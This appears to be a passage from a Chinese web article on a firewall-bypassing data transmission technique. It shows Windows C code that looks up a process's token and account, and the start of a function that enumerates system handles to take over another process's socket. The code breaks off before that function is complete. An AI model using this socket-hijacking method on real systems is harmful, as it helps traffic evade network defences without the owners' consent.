一种新的穿透防火墙的数据传输技术

            hAccessToken = NULL;
    TCHAR InfoBuffer[1000], szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
    if(hProcess == NULL)
    {
        printf("OpenProcess wrong");
        CloseHandle(hProcess);
        return false;
    }

    if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
    {
        printf("OpenProcessToken wrong:%08x", GetLastError());
        return false;
    }

    GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);

    if(hProcess)
        CloseHandle(hProcess);
    if(hAccessToken)
        CloseHandle(hAccessToken);
    return true;
}*/


/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
    NTSTATUS                     status;
    PVOID                        buf   = NULL;
    ULONG                        size  = 1;
    ULONG                        NumOfHandle = 0;
    ULONG                        i;
    PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
    HANDLE    sock = NULL;
    DWORD    n;

    buf=malloc(0x1000);

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TAG标签:	技术 防火墙 if NULL return printf // the buf 进程